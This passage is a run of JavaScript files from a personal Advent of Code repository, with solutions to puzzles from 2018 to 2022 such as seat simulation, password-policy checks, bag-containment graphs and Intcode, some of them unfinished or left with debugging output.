false; let numberOfOccupiedSeats = 0; let countSeatsChange = 0; console.log(new Date()) while (stop == false) { let temp = 0; data.forEach((line, i) => { let tempLine = []; let lineAbove = (data[i - 1] != undefined) ? [...data[i - 1]] : []; let lineCurrent = [...line]; let lineBelow = (data[i + 1] != undefined) ? [...data[i + 1]] : []; lineCurrent.forEach((seat, i) => { let seatAbove, seatBelow, seatAfter, seatBefore, countAround; if (i == 0) { seatAbove = (lineAbove != "") ? lineAbove.slice(0, i + 2) : []; seatBelow = (lineBelow != "") ? lineBelow.slice(0, i + 2) : []; } else { seatAbove = (lineAbove != "") ? lineAbove.slice(i - 1, i + 2) : []; seatBelow = (lineBelow != "") ? lineBelow.slice(i - 1, i + 2) : []; } seatAfter = (lineCurrent[i + 1] == "#") ? 1 : 0; seatBefore = (lineCurrent[i - 1] == "#") ? 1 : 0; countAround = occupiedSeats(seatAbove) + occupiedSeats(seatBelow) + seatAfter + seatBefore; if (seat == ".") { tempLine.push('.') } else if (seat == "L" && countAround == 0) { tempLine.push('#') countSeatsChange++ temp++ } else if (seat == "#" && countAround >= 4) { tempLine.push('L') countSeatsChange++ temp++ } else { tempLine.push(seat); } }); let occupiedSeatsPerLine = tempLine.reduce((curr, acc) => (acc === "#" ? curr + 1 : curr), 0); tempLine = tempLine.join(''); seatArr.push(tempLine); numberOfOccupiedSeats += occupiedSeatsPerLine; if (data.length - 1 == i) { i = 0; if(temp == 0){ stop = true; console.log('STOP HERE') }else{ temp = 0; countSeatsChange = 0; numberOfOccupiedSeats = 0; data = seatArr seatArr = []; } } }) //forEach } //while console.log('numberOfOccupiedSeats :', numberOfOccupiedSeats); console.log('countSeatsChange :', countSeatsChange); return numberOfOccupiedSeats; }; module.exports = { day11 }; <file_sep>/2020/day11/day11_2020.js var fs = require("fs"); var read = fs.readFileSync("day11_2020_input.txt"); var readTest = fs.readFileSync("day11_2020_input_test.txt"); var day11 = require('./day11_2020_utils').day11; // var part2 = require('./day11_2020_utils').part2; var data = read.toString().split("\r\n"); var dataTest = readTest.toString().split("\r\n"); // console.log('dataTest :', dataTest); //Part 1 // console.log(day11(dataTest)); console.log(day11(data)); <file_sep>/2020/day2/day2_2020_utils.js let validPW_pt1 = 0; let validPW_pt2 = 0; const part1 = (data) =>{ data.forEach(x=>{ let n1 = +x[0].split("-")[0]; let n2 = +x[0].split("-")[1]; let letter = x[1]; let arr = [...x[2]]; var numberOfOcurr = arr.reduce((curr,acc)=>(acc === letter ? curr + 1 : curr), 0); (n1 <= numberOfOcurr && numberOfOcurr <= n2) ? validPW_pt1++ : null; }); return validPW_pt1; }; const part2 = (data) =>{ data.forEach(x=>{ let n1 = +x[0].split("-")[0]; let n2 = +x[0].split("-")[1]; let letter = x[1]; let arr = [...x[2]]; ((arr[n1-1] === letter || arr[n2-1] === letter) && !(arr[n1-1] === letter && arr[n2-1] === letter)) ? validPW_pt2++ : null; }); return validPW_pt2; }; module.exports = { part1, part2, }; <file_sep>/2021/day1/day1_2021_utils.js const part1 = (data) => { //Both ways are correct, filter requires less one line. //let count = 0; //const processCount = data.map(x => Number(x)).forEach((y, i)=> { y > data[i - 1] ? count++ : 0 }) return processCount2 = data.map(x => Number(x)).filter((y, i) => y > data[i - 1]).length; } const part2 = (data) =>{ let count = 0; const countTrios = (arr) => { return (arr.map(x => Number(x)).reduce((prev, curr) => prev + curr, 0)); } data.forEach((y,i) => countTrios(data.slice(i , i + 3)) < countTrios(data.slice(i + 1 , i + 4)) ? count++ : 0); return count; } module.exports = { part1, part2 }<file_sep>/2020/day6/day6_2020_utils.js function fixLines(arr){ let tempString = ""; let tempArr = []; arr.forEach((line,index)=>{ if(line != ''){ (tempString == "") ? (tempString = tempString + line) : ( tempString = tempString + " " + line); if(index == arr.length - 1){tempArr.push(tempString)}; }else if(line == ''){ tempArr.push(tempString) tempString = ""; } }) return tempArr } function countOccur(arr) { return arr.reduce(function (acc, curr) { (typeof acc[curr] == 'undefined') ? (acc[curr] = 1) : (acc[curr] += 1); return acc; }, {}); } const part1 = (dataset) => { let tempArr = fixLines(dataset); let firstMap = tempArr.map(x=> x.split('').filter(v => v != ' ')); let secondMap = firstMap.map(y=>[...new Set(y)].join('').length) return secondMap.reduce((a,b)=> a + b, 0); }; const part2 = (dataset) =>{ console.log('Starting to run the code at: ' + Date()); let tempArr = fixLines(dataset); let values = []; tempArr.forEach(line=>{ let whiteSpace = 0; let objOfOccur = countOccur([...line]); (objOfOccur[' '] == undefined) ? whiteSpace = 1 : whiteSpace = objOfOccur[' '] + 1; const filteredByValue = Object.keys(objOfOccur).filter(i => objOfOccur[i] === whiteSpace) values.push(filteredByValue.length); }) return values.reduce((a,b)=> a + b, 0); } module.exports = { part1, part2 }; <file_sep>/2020/day2/day2_2020.js var fs = require("fs"); var read = fs.readFileSync("day2_2020_input.txt"); var part1 = require('./day2_2020_utils').part1; var part2 = require('./day2_2020_utils').part2; var data = read.toString().split("\r\n"); var dataMapped = data.map(x=> x.replace(":","").split(" ")); // var test = ["1-3 a: abcde","1-3 b: cdefg","2-9 c: ccccccccc"]; // var testMapped = test.map(x=> x.replace(":","").split(" ")); //Part 1 // console.log('Part1: ' + part1(testMapped)); console.log('Part1: ' + part1(dataMapped)); //Part 2 // console.log('Part2: ' + part2(testMapped)); console.log('Part2: ' + part2(dataMapped));<file_sep>/2020/day3/day3_2020.js var fs = require("fs"); var read = fs.readFileSync("day3_2020_input.txt"); var readTest = fs.readFileSync("day3_2020_input_test.txt"); var day3 = require('./day3_2020_utils').day3; var day3_II = require('./day3_2020_utils').day3_II; var data = read.toString().split("\r\n"); var dataTest = readTest.toString().split("\r\n"); //Part 1 console.log('result 2: ' + day3(data)); //Part 2 console.log('result 2_II: ' + day3_II(data)); <file_sep>/2018/day1/day1_2018.js var fs = require('fs'); var read = fs.readFileSync("day1_2018_input.txt"); var data = read.toString().split(",").map(Number); // console.log(data); //---------PART 1---------------- var frequency = data.reduce((a,b)=> a+b,0); // console.log(frequency); //---------PART 2---------------- const increment = (x,y) => [...x, x[x.length - 1] + y]; function getKeyByValue(obj, value){ return Object.keys(obj).find(key => obj[key] === value); } var allIncrement = data.reduce(increment,[0]); function duplicateFreq(arrOfFreq){ var sumOfFreq = 0; var freqFound = new Set(); let found; while(!found){ for(const freq of arrOfFreq){ sumOfFreq += Number(freq); if(freqFound.has(sumOfFreq)){ found = true; return sumOfFreq; }else{ freqFound.add(sumOfFreq); } } } } console.log('Just Data: ' + duplicateFreq(data)); //correct answer 566 <file_sep>/2019/day2/atom_day2.js //Part 1 var fs = require('fs'); var read = fs.readFileSync("input_day2_2019.txt"); var data = read.toString().split(",").map(Number); console.log(typeof data[0]); var opcode = data.slice(0); // var opcode = [1,0,0,3,1,1,2,3,1,3,4,3,1,5,0,3,2,1,10,19,1,6,19,23,1,13,23,27,1,6,27,31,1,31,10,35,1,35,6,39,1,39,13,43,2,10,43, // 47,1,47,6,51,2,6,51,55,1,5,55,59,2,13,59,63,2,63,9,67,1,5,67,71,2,13,71,75,1,75,5,79,1,10,79,83,2,6,83,87,2,13,87,91,1,9,91,95, // 1,9,95,99,2,99,9,103,1,5,103,107,2,9,107,111,1,5,111,115,1,115,2,119,1,9,119,0,99,2,0,14,0]; opcode.splice(1,1,12); opcode.splice(2,1,2); function calc(array) { for(var i = 0; i < array.length; i+=4){ var i_add = 1; var i_multiply = 2; var i_stop = 99; let a = array[i+1]; let b = array[i+2]; let c = array[i+3]; if(array[i] == i_add){ array[c] = array[a] + array[b]; }else if(array[i] == i_multiply){ array[c] = array[a] * array[b]; }else if(array[i] == i_stop){ break; } } return array[0]; } console.log(calc(opcode)); //Part 2 let opcode_part2 = data.slice(0); function calc_part2(array) { for(var verb = 0; verb < 100; verb++){ for(var noun = 0; noun < 100; noun++){ let potato = array.slice(0) potato[1] = noun; potato[2] = verb; if(calc(potato) === 19690720){ return (100 * noun + verb); } if(calc(potato) >19690720) { break; } // console.log(calc(potato)) } } } console.log(calc_part2(opcode_part2)); <file_sep>/2020/day12/day12_2020.js var fs = require("fs"); var read = fs.readFileSync("day12_2020_input.txt"); var readTest = fs.readFileSync("day12_2020_input_test.txt"); var day12 = require('./day12_2020_utils').day12; // var part2 = require('./day11_2020_utils').part2; var data = read.toString().split("\r\n"); var dataTest = readTest.toString().split("\r\n"); // console.log('dataTest :', dataTest); //Part 1 console.log(day12(dataTest)); // console.log(day12(data)); <file_sep>/2022/day2/day2_2022_utils.js const part1 = (data) => { var data = data.map(x => {return gameResultPart1(x[0], x[2])}).reduce((prev,curr) => prev + curr, 0); return data; } function gameResultPart1(elfChoice, myChoice){ /** * A - Rock * B - Paper * C - Scissors * * X - Rock * Y - Paper * Z - Scissors * * Rock - 1 * Paper - 2 * Scissors - 3 */ let gameMap = { 'A':{ 'X': 4, //1 + 3 'Y': 8, //2 + 6 'Z': 3 //3 + 0 }, 'B': { 'X': 1, //1 + 0 'Y': 5, //2 + 3 'Z': 9 //3 + 6 }, 'C':{ 'X': 7, //1 + 6 'Y': 2, //2 + 0 'Z': 6 //3 + 3 } }; return gameMap[elfChoice][myChoice]; } const part2 = (data) => { var data = data.map(x => {return gameResultPart2(x[0], x[2])}).reduce((prev,curr) => prev + curr, 0); console.log('data :', data); } function gameResultPart2(elfChoice, myChoice){ let gameMap = { 'A':{ 'X': 3,//3 + 0 'Y': 4,//1 + 3 'Z': 8 //2 + 6 }, 'B': { 'X': 1, //1 + 0 'Y': 5, //2 + 3 'Z': 9 //3 + 6 }, 'C':{ 'X': 2, //2 + 0 'Y': 6, //3 + 3 'Z': 7 //1 + 6 } }; return gameMap[elfChoice][myChoice]; } module.exports = { part1, part2 }<file_sep>/2020/day7/day7_2020_utils.js // const part1 = (dataset) => { // let objOfBags = {}; // console.log(new Date()); // dataset.map((x) => { // const regexWithNumbers = /(.*) bags contain (\d?) (.*) (?:bag|bags), (\d) (.*) (?:bag|bags)./gi; // const regexCheckNumbers = /\d+/g; // const regexNoNumbers_II = /(.*) (?:bag|bags) contain (\d) (.*) bag./gi; // const regexNoNumbers_III = /(.*) bags contain (\d) (.+)[bag|bags], (\d) (.+ ):?bags, (\d) (.+)bag/gi; // const regexNoContain = /(.*) bags contain no other bags/g; // var obj = {}; // if (regexCheckNumbers.test(x)) { // // console.log("x: " + x); // var tempObj = {}; // var numbers = x.match(regexCheckNumbers).map(Number); // if (numbers.length == 1) { // const parsedDataI = regexNoNumbers_II.exec(x); // tempObj[parsedDataI[3]] = +parsedDataI[2]; // objOfBags[parsedDataI[1]] = tempObj; // // console.log("-------1-------"); // } else if (numbers.length == 2) { // const parsedDataII = regexWithNumbers.exec(x); // tempObj[parsedDataII[3]] = +parsedDataII[2]; // tempObj[parsedDataII[5]] = +parsedDataII[4]; // objOfBags[parsedDataII[1]] = tempObj; // // console.log("-------2-------"); // } else { //ISSUE HERE AND IN THE REGEX // console.log('x: ' + x); // const parsedDataIII = regexNoNumbers_III.exec(x); // console.log('parsedDataIII :', parsedDataIII); // tempObj[parsedDataIII[3]] = +parsedDataIII[2]; // tempObj[parsedDataIII[5]] = +parsedDataIII[4]; // tempObj[parsedDataIII[7]] = +parsedDataIII[6]; // objOfBags[parsedDataIII[1]] = tempObj; // // console.log("-------3-------"); // } // } else { // const parsedDataIV = regexNoContain.exec(x); // // console.log('parsedDataIV :', parsedDataIV[1]); // objOfBags[parsedDataIV[1]] = 0; // // console.log("-------NO NUMB-------"); // } // }); // function hasShiny(color){ // if(color === 'shiny gold') return true; // } // console.log('objOfBags :', objOfBags); // let colorsWithShiny = []; // // let shinyGoldColors = tempArr.find(x=> Object.keys(x) == 'shiny gold'); // // let shinyGoldColorsValues = Object.keys(Object.values(shinyGoldColors)[0]); // // shinyGoldColorsValues.forEach(color=> colorsWithShiny.push(color)); // // objOfBags.forEach(x=>{ // // let color = Object.keys(x)[0]; // // // console.log('color :', color); // // let colorKey = Object.values(x)[0]; // // // console.log('colorKey :', colorKey); // // if(colorKey.hasOwnProperty('shiny gold') || colorKey.hasOwnProperty(colorsWithShiny)){ // // // console.log('color: ' + color); // // colorsWithShiny.push(color) // // // console.log('-------------------'); // // } // // }); // // // console.log('colorsWithShiny :', colorsWithShiny); // // return Object.values(colorsWithShiny).length; // }; //FOLLOWED A TUTORIAL FOR THIS CODE BELOW const part1_2 = (dataset) => { console.log(new Date()); const bagGraph = {}; for (const line of dataset) { const [fullMatch, outerBag, innerBagList] = line.match( /(.*) bags contain (.*)\./ ); const innerBags = {}; if (innerBagList !== "no other bags") { for (const innerBag of innerBagList.split(",")) { const [_, numString, innerColor] = innerBag.match(/(\d+) (.+) bag/); innerBags[innerColor] = +numString; } } bagGraph[outerBag] = innerBags; } const onlyInnerBags = {}; for (const outerBag in bagGraph) { const multipleInnerBags = bagGraph[outerBag]; for (const bag in multipleInnerBags) { if (!(bag in onlyInnerBags)) { onlyInnerBags[bag] = new Set(); } onlyInnerBags[bag].add(outerBag); } } const findAllColorBags = (bagColorString, visited = new Set()) => { visited.add(bagColorString); const nextBagsSet = onlyInnerBags[bagColorString] || new Set(); for (const nextBag of nextBagsSet) { if (!visited.has(nextBag)) { findAllColorBags(nextBag, visited); } } return visited; }; var allColors = findAllColorBags('shiny gold'); allColors.forEach((color) => { if (color == "shiny gold") { allColors.delete(color); } }); //part1 let result_part1 = allColors.size; //part2 //start with 1 (the shiny bag) //for each innerBag //add quatity * countInnerBags(innerBag) const countInnerBags = (bag) => Object.entries(bagGraph[bag]).reduce((count, [innerBag, quatity])=>{ return (count + quatity * countInnerBags(innerBag)) },1) let result_part2 = countInnerBags('shiny gold') - 1; return [result_part1, result_part2]; }; module.exports = { // part1, part1_2, }; <file_sep>/2019/day4/day4_2019.js var _ = require('underscore'); var fs = require('fs'); var read = fs.readFileSync("input_day4_2019.txt"); var data = read.toString().split("-"); // console.log(data); var valueOne = parseInt(data[0]); // console.log('valueOne :', valueOne); var valueTwo = parseInt(data[1]); // console.log('valueTwo :', valueTwo); var range = _.range(valueOne, valueTwo); range = range.toString().split(','); // console.log('range :', range); // console.log('range :', range.length); // var testArr = ['193651','193659','193675','193709','222222', // '444245', '122225','193727','113456','111111', '222226', // '193651', '649729', '485729', '857663', '553456', '112233', '123444', '111122']; var testArr = ['011222']; // console.log('testArr :', testArr); // console.log(testArr[0][1]); function sort(value) { let real = value.split(""); let sort = value.split("").sort(); let answer = real.toString() === sort.toString() ? true : false; return answer; } function findPassword(params) { let arr = []; for(var i = 0; i < params.length; i++){ const regex = /([0-9])\1{1,}/g; // const regex = /([0-9])\1/g; //Part 2 let regexTest = regex.test(params[i]); if(regexTest == true && sort(params[i]) == true){ arr.push(params[i]); } } return arr; } var result_part1 = findPassword(range); var result_test = findPassword(testArr); // console.log('result_test :', result_test); // console.log('result_part1 :', result_part1); // console.log('findPassword :', result_part1.length); function findPassword_part2(params) { var arr2 = []; var arr3 = []; for(var i = 0; i < params.length; i++){ const regex = /([0-9])\1{2,}/g; let regexTest = regex.test(params[i]); if(regexTest == false){ arr2.push(params[i]); } // for(var j = 0; j < arr2.length; j++){ // const regex = /([0-9])\1{2}/g; // let regexTest = regex.test(params[i]); // if(regexTest == true){ // arr3.push(arr2[j]); // } } return arr2; } // var result_part2 = findPassword_part2(result_part1); // console.log('findPassword_part2 :', result_part2); // console.log('findPassword_part2 :', findPassword_part2(result_test)); function secondTry(value) { let arr1 = []; for(i = 0; i < value.length; i++){ let temp = []; for(j = 0; j < value[i].length; j++){ if(value[i][j] === value[i][j+1]){ temp.push(value[i][j]); console.log('temp :', temp); } } // let temp2 = _.uniq(temp); // console.log('temp :', temp); // console.log('temp2 :', temp2); if(checkUniq(temp)){ arr1.push(value[i]) } } return arr1; console.log('arr1 :', arr1); } var result_part2 = secondTry(result_part1); console.log('result_part2 :', result_part2.length); // var result_part2 = secondTry(result_test); // console.log('result_part2 :', result_part2); function checkUniq(params) { for(var i = 0; i < params.length; i++){ if(i == 0 && params[i] != params[i+1]){ return true; }else if(i == params.length - 1 && params[i - 1] != params[i]){ return true; } } return false; }<file_sep>/2021/day3/day3_2021_utils.js const part1 = (data) => { //most common number const gamaRate = {}; //lest common number const epsilonRate = {}; const numberOfelements = data[0].length; let counter = 0; while (counter < numberOfelements) { let tempCount = { zero: 0, one: 0 }; let tempData = data.map((x) => x.slice(counter, counter + 1)); tempData.forEach((value) => { value == "1" ? tempCount.one++ : tempCount.zero++; }); if (tempCount.one > tempCount.zero) { gamaRate[counter] = 1; epsilonRate[counter] = 0; } else { gamaRate[counter] = 0; epsilonRate[counter] = 1; } counter++; } //Convert Binary to Numeric const gamaNumber = parseInt(Object.values(gamaRate).join(""), 2); const epsilonRateNumber = parseInt(Object.values(epsilonRate).join(""), 2); const finalValue = gamaNumber * epsilonRateNumber; return finalValue; }; const part2 = (data) => { let counter = 0; let lengthOfValue = data[0].length; var oxygenArr = [...data]; var CO2Arr = [...data]; while (counter < lengthOfValue) { let tempCount_O2 = { zero: 0, one: 0 }; let tempCount_CO2 = { zero: 0, one: 0 }; let oxygenValueToKeep = ''; let CO2ValueToKeep = ''; let o2_count = 0; let co2_count = 0; //O2 oxygenArr.forEach((x) => { x[counter] == "1" ? tempCount_O2.one++ : tempCount_O2.zero++; }); if(tempCount_O2.one > tempCount_O2.zero){ oxygenValueToKeep = 1; o2_count = tempCount_O2.one; }else if(tempCount_O2.one < tempCount_O2.zero){ oxygenValueToKeep = 0; o2_count = tempCount_O2.zero; }else if(tempCount_O2.one == tempCount_O2.zero){ oxygenValueToKeep = 1; o2_count = tempCount_O2.one; } //Filter only the numbers from the bit criteria if(oxygenArr.length > 1){ oxygenArr = oxygenArr.map(x =>{ if(x[counter] == oxygenValueToKeep) return x }).filter(y => y != undefined) } //CO2 CO2Arr.forEach((x) => { x[counter] == "1" ? tempCount_CO2.one++ : tempCount_CO2.zero++; }); if(tempCount_CO2.one > tempCount_CO2.zero){ CO2ValueToKeep = 0; co2_count = tempCount_CO2.zero; }else if(tempCount_CO2.one < tempCount_CO2.zero){ CO2ValueToKeep = 1; co2_count = tempCount_CO2.one; }else if(tempCount_CO2.one == tempCount_CO2.zero){ CO2ValueToKeep = 0; co2_count = tempCount_CO2.zero; } //Filter only the numbers from the bit criteria if(CO2Arr.length > 1){ CO2Arr = CO2Arr.map(x =>{ if(x[counter] == CO2ValueToKeep) return x }).filter(y => y != undefined) } counter++ } return parseInt(Number(oxygenArr[0]),2) * parseInt(Number(CO2Arr[0]),2) }; module.exports = { part1, part2 };<file_sep>/2020/day5/day5_2020.js var fs = require("fs"); var read = fs.readFileSync("day5_2020_input.txt"); var readTest_p1 = fs.readFileSync("day5_2020_input_test_part1.txt"); // var readTest_p2 = fs.readFileSync("day5_2020_input_test_part2.txt"); var part1 = require('./day5_2020_utils').part1; var part2 = require('./day5_2020_utils').part2; var data = read.toString().split("\r\n"); var dataTest_p1 = readTest_p1.toString().split("\r\n"); // console.log('dataTest_p1 :', dataTest_p1[0].length); // var dataTest_p2 = readTest_p2.toString().split("\r\n"); //Part1 console.log(part1(data)); //Part2 console.log(part2(data)); <file_sep>/2022/day2/day2_2022.js var fs = require("fs"); var read = fs.readFileSync("day2_2022_input.txt"); var part1 = require('./day2_2022_utils').part1; var part2 = require('./day2_2022_utils').part2; var data = read.toString().split("\r\n"); //part 1 // part1(data); // console.log('part1 :', part1(data)); // //part2 // part2(data) // console.log('part2 :', part2(data)); <file_sep>/2020/day12/day12_2020_utils.js const day12 = (data) => { var regex = /(^\w)(.*)/; var objXY = { x: 0, y: 0 }; // var objXY_part2 = { x: 10, y: 1 }; let windOri = ["N", "E", "S", "W"]; var currentOrientation = "E"; console.log(new Date()); data.forEach((coord, i) => { var splitInfo = regex.exec(coord); var letter = splitInfo[1]; // var number = +splitInfo[2]; // console.log('letter: ' + letter); // console.log('number: ' + number); // console.log('currentOrientation :', currentOrientation); // console.table(objXY_part2) if (letter == "F") { if (currentOrientation == "N") { objXY.y += number; //part2 // objXY_part2.y = objXY.y + (number * objXY_part2.y); // objXY_part2.x = objXY.x + (number * objXY_part2.x); } else if (currentOrientation == "W") { objXY.x -= number; //part2 // objXY_part2.x = objXY.y - (number * objXY_part2.x); // objXY_part2.y = objXY.x - (number * objXY_part2.y); } else if (currentOrientation == "S") { objXY.y -= number; //part2 // objXY_part2.y = objXY.y - (number * objXY_part2.y); // objXY_part2.x = objXY.x - (number * objXY_part2.x); } else if (currentOrientation == "E") { objXY.x += number; //part2 // objXY_part2.x = objXY.y + (number * objXY_part2.x); // objXY_part2.y = objXY.x + (number * objXY_part2.y); } } else if (letter == "N") { objXY.y += number; //part2 // objXY_part2.y += number; } else if (letter == "S") { objXY.y -= number; //part2 // objXY_part2.y -= number; } else if (letter == "E") { objXY.x += number; //part2 // objXY_part2.x += number; } else if (letter == "W") { objXY.x -= number; //part2 // objXY_part2.x -= number; } else if (letter == "L") { let currentIndex = windOri.indexOf(currentOrientation); if (number == 90) { windOri[currentIndex - 1] != undefined ? (currentOrientation = windOri[currentIndex - 1]) : (currentOrientation = windOri[currentIndex + 3]); } else if (number == 180) { windOri[currentIndex - 2] != undefined ? (currentOrientation = windOri[currentIndex - 2]) : (currentOrientation = windOri[currentIndex + 2]); } else if (number == 270) { windOri[currentIndex + 1] != undefined ? (currentOrientation = windOri[currentIndex + 1]) : (currentOrientation = windOri[currentIndex - 3]); } } else if (letter == "R") { let currentIndex = windOri.indexOf(currentOrientation); if (number == 90) { windOri[currentIndex + 1] != undefined ? (currentOrientation = windOri[currentIndex + 1]) : (currentOrientation = windOri[currentIndex - 3]); } else if (number == 180) { windOri[currentIndex + 2] != undefined ? (currentOrientation = windOri[currentIndex + 2]) : (currentOrientation = windOri[currentIndex - 2]); } else if (number == 270) { windOri[currentIndex - 1] != undefined ? (currentOrientation = windOri[currentIndex - 1]) : (currentOrientation = windOri[currentIndex + 3]); } } console.log('----------------------------') }); // return Object.values(objXY).reduce((x, y) => Math.abs(x) + Math.abs(y), 0); // console.log('PART 2: ' + (Math.abs(objXY_part2.x) + Math.abs(objXY_part2.y))) return Math.abs(objXY.x) + Math.abs(objXY.y); }; module.exports = { day12, }; <file_sep>/2020/day9/day9_2020_utils.js const day9 = (data) => { let preamble = 25; var allCombinations = (data) => data.reduce( (acc, curr, index) => acc.concat( data .slice(index + 1) .map((element) => (curr != element ? curr + element : null)) ), [] ); var result_part1; for (var i = 0; i < data.length; i++) { let slicedArr = data.slice(i, preamble); let number = data[preamble]; var comb = allCombinations(slicedArr); let setArr = new Set(comb); //PART 1 if (setArr.has(number) == false) { result_part1 = number; break; } preamble++; } return result_part1; }; const day9_part2 = (data) => { let sum = 0; let tempArr = []; let finalValue = 0; for (var i = 0; i < data.length; i++) { sum += data[i]; tempArr.push(data[i]); // if(sum > 127){ if (sum > 105950735) { sum = 0; i = 0; tempArr = []; data.shift(); // }else if(sum == 127){ } else if (sum == 105950735) { let min = Math.min(...tempArr); let max = Math.max(...tempArr); finalValue = max + min; break; } } return finalValue; }; module.exports = { day9, day9_part2, }; <file_sep>/2021/day3/day3_2021.js var fs = require("fs"); var read = fs.readFileSync("day3_2021_input.txt"); var part1 = require('./day3_2021_utils').part1; var part2 = require('./day3_2021_utils').part2; var data = read.toString().split("\r\n"); // part 1 part1(data); // console.log('part1 :', part1(data)); // //part2 part2(data) console.log('part2 :', part2(data)); <file_sep>/2020/day7/day7_2020.js var fs = require("fs"); var read = fs.readFileSync("day7_2020_input.txt"); var readTest_p1 = fs.readFileSync("day7_2020_input_test.txt"); // var part1 = require('./day7_2020_utils').part1; var part1_2 = require('./day7_2020_utils').part1_2; var data = read.toString().split("\r\n"); var dataTest_p1 = readTest_p1.toString().split("\r\n"); // console.log('dataTest_p1 :', dataTest_p1); // //Part1 // console.log('PART1 B: ' + part1_2(dataTest_p1)); console.log('PART1 B: ' + part1_2(data)[0]); //Part2 console.log('PART2: ' + part1_2(dataTest_p1)[1]); console.log('PART2: ' + part1_2(data)[1]);<file_sep>/README.md # adventOfCode This repository stores my codes from all the days I could done in Advent of Code 2018, 2019 and 2020 <file_sep>/2019/day3/day3_test3.js var _ = require('underscore'); var fs = require('fs'); // var read = fs.readFileSync("input_day3_2019.txt", 'utf8'); var read = fs.readFileSync("input_test_day3_2019.txt", 'utf8'); console.log('read :', read); // var read = fs.readFileSync("small_input_day3_test.txt", 'utf8'); var data = read.toString().split(","); const [c1, c2] = read.split('\n').slice(0); var test1 = c1.slice(0).trim(); // console.log('test1 :', test1); var test2 = c2.slice(0).trim(); // var input = 'R75,D30,R83,U83,L12,D49,R71,U7,L72,U62,R66,U55,R34,D71,R55,D58,R83\nR98,U47,R26,D63,R33,U87,L62,D20,R33,U53,R51,U98,R91,D20,R16,D67,R40,U7,R15,U6,R7'; var newPoints = function(input) { const allPoints = []; let position = {x: 0, y:0}; input.split(',').map((directions) =>{ const array = [...directions]; const letter = array.shift(); const distance = parseInt(array.join('')); const nextPosition = {x: position.x, y: position.y}; switch (letter) { case 'U': nextPosition.y += distance; break; case 'D': nextPosition.y -= distance; break; case 'R': nextPosition.x += distance; break; case 'L': nextPosition.x -= distance; break; } allPoints.push({ point1: { x: position.x, y: position.y }, point2:{ x: nextPosition.x, y: nextPosition.y } }); position = nextPosition; } ) return allPoints; } var line1 = newPoints(test1) // console.log('line1 :', line1); var line2 = newPoints(test2) // console.log('line2 :', line2[2].point1.x); const solve = function (input) { //wire const wires = input.split('\n').map(wire =>newPoints(wire)); const intersection = []; wires[0].map((w1) => { wires[1].map((w2) => { if((w1.point1.x == w1.point2.x) ^ (w2.point1.x == w2.point2.x)){ const vertical = w1.point1.x == w1.point2.x ? w1 : w2; const horizontal = w1.point1.x == w1.point2.x ? w2 : w1; const minX = Math.min(horizontal.point1.x, horizontal.point2.x); const maxX = Math.max(horizontal.point1.x, horizontal.point2.x); const minY = Math.min(vertical.point1.y, vertical.point2.y); const maxY = Math.max(vertical.point1.y, vertical.point2.y); if(vertical.point1.x >= minX && vertical.point1.x <= maxX && horizontal.point1.y >= minY && horizontal.point1.y <= maxY){ intersection.push({ x: vertical.point1.x, y: horizontal.point1.y}); } }; }); }); console.log(intersection); const distance = intersection.filter(p => p.x != 0 || p.y !=0) .map(p => Math.abs(p.x) + Math.abs(p.y)); return Math.min(...distance); }; var result = solve(read); console.log('result :', result); <file_sep>/2020/day5/day5_2020_utils.js const part1 = (dataset) => { var rowRange = [...Array(128).keys()]; var columnRange = [...Array(8).keys()]; let allIDs = []; console.log('Starting to run the code at: ' + Date()); dataset.forEach(string=>{ let row, column; let firstSeven = [...string.substring(0,7)]; let lastThree = [...string.substring(7,10)]; var allRows = [...rowRange]; let tempRowArr = []; firstSeven.forEach(letter=>{ if(tempRowArr.length == 1 || tempRowArr.length == 2){ row = tempRowArr[0]; return; }else{ if(letter == "F"){ (tempRowArr == "" || tempRowArr == []) ? (tempRowArr = allRows.slice(0, (allRows.length / 2))) : (tempRowArr = tempRowArr.slice(0, (tempRowArr.length / 2))) }else if(letter == "B"){ (tempRowArr == "" || tempRowArr == []) ? (tempRowArr = allRows.slice(allRows.length / 2, allRows[allRows.length])) : (tempRowArr = tempRowArr.slice(tempRowArr.length / 2,tempRowArr[tempRowArr.length])) } } }) var allColumns = [...columnRange]; let tempColumnArr = []; lastThree.forEach(letter=>{ if(letter == "L"){ (tempColumnArr == "" || tempColumnArr == []) ? (tempColumnArr = allColumns.slice(0, (allColumns.length / 2))) : (tempColumnArr = tempColumnArr.slice(0, (tempColumnArr.length / 2))) }else if(letter == "R"){ (tempColumnArr == "" || tempColumnArr == []) ? (tempColumnArr = allColumns.slice((allColumns.length / 2), allColumns[allColumns.length])) : (tempColumnArr = tempColumnArr.slice(tempColumnArr.length / 2,tempColumnArr[tempColumnArr.length])) } column = tempColumnArr[0]; }) let id = (row * 8 + column) allIDs.push(id); }); return allIDs.reduce(function(a, b) {return Math.max(a, b);}); }; const part2 = (dataset) =>{ console.log('Starting to run the code at: ' + Date()); function stringToNumb(string){ return parseInt([...string].map(letter => letter === "B" || letter === "R" ? 1 : 0).join(''),2); //the number two convertes binary into number } let allIDS = []; class Seat{ constructor(string){ this.row = stringToNumb(string.substring(0,7)); this.column = stringToNumb(string.substring(7, 10)); this.id = (this.row * 8 + this.column); } } dataset.forEach(string=>{ var seat = new Seat(string); allIDS.push(seat.id); }) let orderedIDS = allIDS.sort((a,b)=> a-b); let result; for(var i = 0; i < orderedIDS.length; i++){ if(orderedIDS[i + 1] - orderedIDS[i] > 1){ result = orderedIDS[i] + 1; break; } } return result; } module.exports = { part1, part2 }; <file_sep>/2020/day3/day3_2020_utils.js const part1 = (x) => { let index = 0; let lineNumber = 0; let values = []; let valuesObj = {}; x.forEach((line) => { // console.log('LINE ' + lineNumber + ': ' + line); // console.log('index :', index); // console.log('line[index] :', line[index]); // console.log("----------------------------"); values.push(line[index]); valuesObj[lineNumber] = line[index]; if (line[index + 1] === undefined) { index = 2; } else if (line[index + 2] === undefined) { index = 1; } else if (line[index + 3] === undefined) { index = 0; } else { index += 3; } lineNumber += 1; // console.log('index :', index); }); // console.log('valuesObj :', valuesObj); // console.log('values :', values); return values.reduce((curr, acc) => (acc === "#" ? curr + 1 : curr), 0); }; //-------------------------------- PART 2 ---------------------------- const day3 = (x) => { //slop1 - 1|1--------------------- let indexA = 0; let lineNumberA = 0; let valuesA = []; x.forEach((lineA) => { valuesA.push(lineA[indexA]); // console.log('LINE ' + lineNumberA + ': ' + line); if (lineA[indexA + 1] === undefined) { indexA = 0; } else { indexA += 1; } lineNumberA += 1; }); var slop1 = valuesA.reduce((curr, acc) => (acc === "#" ? curr + 1 : curr), 0); //slop2 - 3|1--------------------- let indexB = 0; let lineNumberB = 0; let valuesB = []; x.forEach((lineB) => { 